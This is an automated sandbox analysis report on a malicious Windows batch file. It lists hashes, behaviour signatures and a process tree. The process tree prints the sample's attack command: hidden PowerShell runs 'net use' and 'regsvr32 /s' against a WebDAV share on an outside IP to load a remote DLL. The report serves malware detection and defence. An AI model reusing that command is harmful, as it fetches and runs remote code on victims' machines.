Analysis

  • max time kernel
    118s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    19-07-2024 09:14

General

  • Target

    3799148861565019812.bat

  • Size

    2KB

  • MD5

    2e1040c9dde781acac0671a06e359fa7

  • SHA1

    693660b39ddc53d8a7c175cb42d17c397d9f8b49

  • SHA256

    b0fe33fe92911a8c62dcfdc3bffd3485b90b86704e3949c3a38c73b774f1870f

  • SHA512

    e02618be27bd2a78ba32866d1d274dd3427e94d0271e611fe7d57f86f7a3c066773af0033644509e751689a4eee0de0e510b9faf5423a8e6a1fd1e17af8b3ef9

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\3799148861565019812.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2420
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:2104
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\25035723513366.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2112
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:2816
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\25035723513366.dll
          3⤵
            PID:2848

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/2112-23-0x000000001B610000-0x000000001B8F2000-memory.dmp

        Filesize

        2.9MB

      • memory/2112-24-0x0000000002890000-0x0000000002898000-memory.dmp

        Filesize

        32KB